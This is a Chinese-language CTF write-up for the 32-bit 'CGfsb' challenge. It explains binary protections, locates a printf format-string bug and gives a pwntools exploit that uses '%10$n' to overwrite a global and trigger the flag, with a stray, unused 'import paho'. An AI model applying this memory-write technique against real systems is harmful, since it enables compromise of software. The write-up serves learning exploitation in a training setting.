题目:
看看附件,先在本地环境打一下,先放入kali查看一下版本:
file CGfsb
再查看一下保护机制:
checksec --file=CGfsb
可以看出该程序是32位的,保护机制的解释如下:
【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表。
【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。
【3】NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的callesp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。
【4】PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址。
【5】FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制,一是包含%n的格式化字符串不能位于程序内存中的可写地址;二是当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。该5条总结来源于:https://blog.csdn.net/niexinming/article/details/78814422f
接着把程序放入32位的IDA查看一下:
作为初学者,先一点一点记,比如区分堆题和栈题,这里我就不考虑申请方式使用了malloc函数的题,这种题大部分为堆题,入门的话,先从栈开始。
这里直接打印字符串s,就存在着格式化字符串漏洞,这里代码比较简单明了,就是如果'pwnme'的值为8,那就执行system函数,打印flag,那看起来就比较简单了,就只需要将'pwnme'的值变成8就可以了,这里就可以利用格式化字符串漏洞来改。
这里需要注意的是'%n'这个格式化字符串,它的作用是记录在它之前出现的所有字符串的个数并赋值给一个变量,那接下来我需要做的就两点,首先把'pwnme'的地址输入到's'也就是'message'中,然后在适当的位置添加'%n'使其与我输入的地址相对应从而造成漏洞利用。
针对于格式化字符串漏洞,还需要计算一下偏移量:
aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
从这段测试中可以看出偏移量为10,然后再寻找一下'pwnme'的地址,在IDA中双击就找到了:
exp:
import paho
from pwn import *
context.log_level = 'debug' #开启调试,会显示发送接收数据的中间过程,方便找出哪里出错。
r = process('./CGfsb') #本地测试
#r = remote("61.147.171.105",55397) #远程
#代码
r.recvuntil("please tell me your name:") #接收到该内容且接收到括号内所有内容才能执行下一条语句
payload1 = '123'
r.sendline(payload1)
r.recvuntil("leave your message please:")
payload2 = p32(0x0804A068) + b'aaaa%10$n' #构造payload
r.sendline(payload2) #这里的send发送数据,上面的recv接收数据
r.interactive() #开启交互模式获取shell
这里的%10$n,就是加了偏移量进去,如果没有偏移量,看成%n,就简单明了了。
开启远程,运行后如下: